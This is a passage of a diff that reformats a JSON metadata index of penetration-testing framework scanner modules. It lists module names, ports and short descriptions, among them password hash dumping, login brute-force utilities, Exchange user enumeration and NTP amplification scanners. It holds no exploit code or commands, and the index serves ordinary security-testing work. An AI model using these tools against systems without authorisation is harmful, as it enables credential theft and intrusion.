+42698,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/sunrpc_portmapper": { "name": "SunRPC Portmap Program Enumerator", "fullname": "auxiliary/scanner/misc/sunrpc_portmapper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49029,12 +42720,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb", @@ -49043,20 +42730,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/zenworks_preboot_fileaccess": { "name": "Novell ZENworks Configuration Management Preboot Service Remote File Access", "fullname": "auxiliary/scanner/misc/zenworks_preboot_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49073,12 +42755,8 @@ "platform": "", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb", @@ -49087,20 +42765,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mongodb/mongodb_login": { "name": "MongoDB Login Utility", "fullname": "auxiliary/scanner/mongodb/mongodb_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49115,12 +42788,8 @@ "platform": "", "arch": "", "rport": 27017, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/mongodb/mongodb_login.rb", @@ -49129,20 +42798,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/motorola/timbuktu_udp": { "name": "Motorola Timbuktu Service Detection", "fullname": "auxiliary/scanner/motorola/timbuktu_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-09-25", "type": "auxiliary", @@ -49150,18 +42814,12 @@ "MC " ], "description": "This module simply sends a packet to the Motorola Timbuktu service for detection.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 407, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/motorola/timbuktu_udp.rb", @@ -49170,20 +42828,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mqtt/connect": { "name": "MQTT Authentication Scanner", "fullname": "auxiliary/scanner/mqtt/connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49201,9 +42854,7 @@ 1883, 8883 ], - "autofilter_services": [ - - ], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/mqtt/connect.rb", @@ -49212,20 +42863,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msf/msf_rpc_login": { "name": "Metasploit RPC Interface Login Utility", "fullname": "auxiliary/scanner/msf/msf_rpc_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49233,18 +42879,14 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to login to a\n Metasploit RPC interface using a specific\n user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 55553, "autofilter_ports": [ 3790 ], - "autofilter_services": [ - - ], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/scanner/msf/msf_rpc_login.rb", @@ -49253,20 +42895,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msf/msf_web_login": { "name": "Metasploit Web Interface Login Utility", "fullname": "auxiliary/scanner/msf/msf_web_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49274,9 +42911,7 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to login to a Metasploit\n web interface using a specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3790, @@ -49304,20 +42939,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msmail/exchange_enum": { "name": "Exchange email enumeration", "fullname": "auxiliary/scanner/msmail/exchange_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-11-06", "type": "auxiliary", @@ -49331,18 +42961,12 @@ "clee-r7" ], "description": "Error-based user enumeration for Office 365 integrated email addresses", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-12-07 13:29:56 +0000", "path": "/modules/auxiliary/scanner/msmail/exchange_enum.go", @@ -49351,20 +42975,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msmail/host_id": { "name": "Vulnerable domain identification", "fullname": "auxiliary/scanner/msmail/host_id", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-11-06", "type": "auxiliary", @@ -49378,18 +42997,12 @@ "clee-r7" ], "description": "Identifying potentially vulnerable Exchange endpoints", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-12-07 13:29:56 +0000", "path": "/modules/auxiliary/scanner/msmail/host_id.go", @@ -49398,20 +43011,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msmail/onprem_enum": { "name": "On premise user enumeration", "fullname": "auxiliary/scanner/msmail/onprem_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-11-06", "type": "auxiliary", @@ -49425,18 +43033,12 @@ "clee-r7" ], "description": "On premise enumeration of valid exchange users", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-12-07 13:29:56 +0000", "path": "/modules/auxiliary/scanner/msmail/onprem_enum.go", @@ -49445,20 +43047,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/msmq/cve_2023_21554_queuejumper": { "name": "CVE-2023-21554 - QueueJumper - MSMQ RCE Check", "fullname": "auxiliary/scanner/msmq/cve_2023_21554_queuejumper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-04-11", "type": "auxiliary", @@ -49476,12 +43073,8 @@ "platform": "", "arch": "", "rport": 1801, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/msmq/cve_2023_21554_queuejumper.rb", @@ -49506,16 +43099,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mssql/mssql_hashdump": { "name": "MSSQL Password Hashdump", "fullname": "auxiliary/scanner/mssql/mssql_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49523,9 +43112,7 @@ "theLightCosine " ], "description": "This module extracts the usernames and encrypted password\n hashes from a MSSQL server and stores them for later cracking.\n This module also saves information about the server version and\n table names, which can be used to seed the wordlist.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -49551,22 +43138,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mssql/mssql_login": { "name": "MSSQL Login Utility", "fullname": "auxiliary/scanner/mssql/mssql_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49602,20 +43184,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mssql/mssql_ping": { "name": "MSSQL Ping Utility", "fullname": "auxiliary/scanner/mssql/mssql_ping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49623,9 +43200,7 @@ "MC " ], "description": "This module simply queries the MSSQL Browser service for server information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -49651,20 +43226,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mssql/mssql_schemadump": { "name": "MSSQL Schema Dump", "fullname": "auxiliary/scanner/mssql/mssql_schemadump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49672,9 +43242,7 @@ "theLightCosine " ], "description": "This module attempts to extract the schema from a MSSQL Server\n Instance. It will disregard builtin and example DBs such\n as master, model, msdb, and tempdb. The module will create\n a note for each DB found, and store a YAML formatted output\n as loot for easy reading.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -49700,22 +43268,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mssql/mssql_version": { "name": "MSSQL Version Utility", "fullname": "auxiliary/scanner/mssql/mssql_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49723,9 +43286,7 @@ "Zach Goldman" ], "description": "Executes a TDS7 pre-login request against the MSSQL instance to query for version information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -49751,22 +43312,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_authbypass_hashdump": { "name": "MySQL Authentication Bypass Password Dump", "fullname": "auxiliary/scanner/mysql/mysql_authbypass_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-09", "type": "auxiliary", @@ -49783,12 +43339,8 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb", @@ -49797,20 +43349,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_file_enum": { "name": "MYSQL File/Directory Enumerator", "fullname": "auxiliary/scanner/mysql/mysql_file_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49825,12 +43372,8 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_file_enum.rb", @@ -49839,22 +43382,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_hashdump": { "name": "MYSQL Password Hashdump", "fullname": "auxiliary/scanner/mysql/mysql_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49862,18 +43400,12 @@ "theLightCosine " ], "description": "This module extracts the usernames and encrypted password\n hashes from a MySQL server and stores them for later cracking.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_hashdump.rb", @@ -49882,22 +43414,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_login": { "name": "MySQL Login Utility", "fullname": "auxiliary/scanner/mysql/mysql_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49911,12 +43438,8 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-21 11:00:24 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_login.rb", @@ -49925,20 +43448,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_schemadump": { "name": "MYSQL Schema Dump", "fullname": "auxiliary/scanner/mysql/mysql_schemadump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49946,18 +43464,12 @@ "theLightCosine " ], "description": "This module extracts the schema information from a\n MySQL DB server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_schemadump.rb", @@ -49966,22 +43478,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_version": { "name": "MySQL Server Version Enumeration", "fullname": "auxiliary/scanner/mysql/mysql_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -49989,18 +43496,12 @@ "kris katterjohn " ], "description": "Enumerates the version of MySQL servers.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_version.rb", @@ -50009,22 +43510,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mysql/mysql_writable_dirs": { "name": "MYSQL Directory Write Test", "fullname": "auxiliary/scanner/mysql/mysql_writable_dirs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50038,12 +43534,8 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-19 10:57:53 +0000", "path": "/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb", @@ -50052,22 +43544,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/natpmp/natpmp_portscan": { "name": "NAT-PMP External Port Scanner", "fullname": "auxiliary/scanner/natpmp/natpmp_portscan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50075,18 +43562,12 @@ "Jon Hart " ], "description": "Scan NAT devices for their external listening ports using NAT-PMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5351, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb", @@ -50095,20 +43576,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nessus/nessus_ntp_login": { "name": "Nessus NTP Login Utility", "fullname": "auxiliary/scanner/nessus/nessus_ntp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50116,18 +43592,12 @@ "Vlatko Kosturjak " ], "description": "This module attempts to authenticate to a Nessus NTP service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1241, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-09-20 21:25:34 +0000", "path": "/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb", @@ -50136,20 +43606,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nessus/nessus_rest_login": { "name": "Nessus RPC Interface Login Utility", "fullname": "auxiliary/scanner/nessus/nessus_rest_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50157,9 +43622,7 @@ "void_in" ], "description": "This module will attempt to authenticate to a Nessus server RPC interface.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8834, @@ -50186,20 +43649,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nessus/nessus_xmlrpc_login": { "name": "Nessus XMLRPC Interface Login Utility", "fullname": "auxiliary/scanner/nessus/nessus_xmlrpc_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50207,9 +43665,7 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to login to a Nessus XMLRPC interface using a\n specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8834, @@ -50236,20 +43692,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nessus/nessus_xmlrpc_ping": { "name": "Nessus XMLRPC Interface Ping Utility", "fullname": "auxiliary/scanner/nessus/nessus_xmlrpc_ping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50257,9 +43708,7 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to find and check\n for Nessus XMLRPC interface.'", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8834, @@ -50286,20 +43735,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/netbios/nbname": { "name": "NetBIOS Information Discovery", "fullname": "auxiliary/scanner/netbios/nbname", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50307,18 +43751,12 @@ "hdm " ], "description": "Discover host information through NetBIOS", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 137, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/netbios/nbname.rb", @@ -50327,20 +43765,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nexpose/nexpose_api_login": { "name": "NeXpose API Interface Login Utility", "fullname": "auxiliary/scanner/nexpose/nexpose_api_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50348,9 +43781,7 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to login to a NeXpose API interface using a\n specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3780, @@ -50377,20 +43808,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nfs/nfsmount": { "name": "NFS Mount Scanner", "fullname": "auxiliary/scanner/nfs/nfsmount", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50406,12 +43832,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-05-02 19:58:47 +0000", "path": "/modules/auxiliary/scanner/nfs/nfsmount.rb", @@ -50420,20 +43842,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/nntp/nntp_login": { "name": "NNTP Login Utility", "fullname": "auxiliary/scanner/nntp/nntp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50450,12 +43867,8 @@ "platform": "", "arch": "", "rport": 119, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/nntp/nntp_login.rb", @@ -50464,20 +43877,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_monlist": { "name": "NTP Monitor List Scanner", "fullname": "auxiliary/scanner/ntp/ntp_monlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50494,12 +43902,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_monlist.rb", @@ -50508,20 +43912,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_nak_to_the_future": { "name": "NTP \"NAK to the Future\"", "fullname": "auxiliary/scanner/ntp/ntp_nak_to_the_future", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50539,12 +43938,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-12-13 13:36:14 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb", @@ -50553,20 +43948,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_peer_list_dos": { "name": "NTP Mode 7 PEER_LIST DoS Scanner", "fullname": "auxiliary/scanner/ntp/ntp_peer_list_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "auxiliary", @@ -50582,12 +43972,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb", @@ -50596,20 +43982,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_peer_list_sum_dos": { "name": "NTP Mode 7 PEER_LIST_SUM DoS Scanner", "fullname": "auxiliary/scanner/ntp/ntp_peer_list_sum_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "auxiliary", @@ -50625,12 +44006,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb", @@ -50639,20 +44016,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_readvar": { "name": "NTP Clock Variables Disclosure", "fullname": "auxiliary/scanner/ntp/ntp_readvar", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50668,12 +44040,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_readvar.rb", @@ -50682,20 +44050,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_req_nonce_dos": { "name": "NTP Mode 6 REQ_NONCE DRDoS Scanner", "fullname": "auxiliary/scanner/ntp/ntp_req_nonce_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "auxiliary", @@ -50711,12 +44074,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb", @@ -50725,20 +44084,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_reslist_dos": { "name": "NTP Mode 7 GET_RESTRICT DRDoS Scanner", "fullname": "auxiliary/scanner/ntp/ntp_reslist_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "auxiliary", @@ -50754,12 +44108,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb", @@ -50768,20 +44118,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/ntp_unsettrap_dos": { "name": "NTP Mode 6 UNSETTRAP DRDoS Scanner", "fullname": "auxiliary/scanner/ntp/ntp_unsettrap_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "auxiliary", @@ -50797,12 +44142,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb", @@ -50811,20 +44152,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ntp/timeroast": 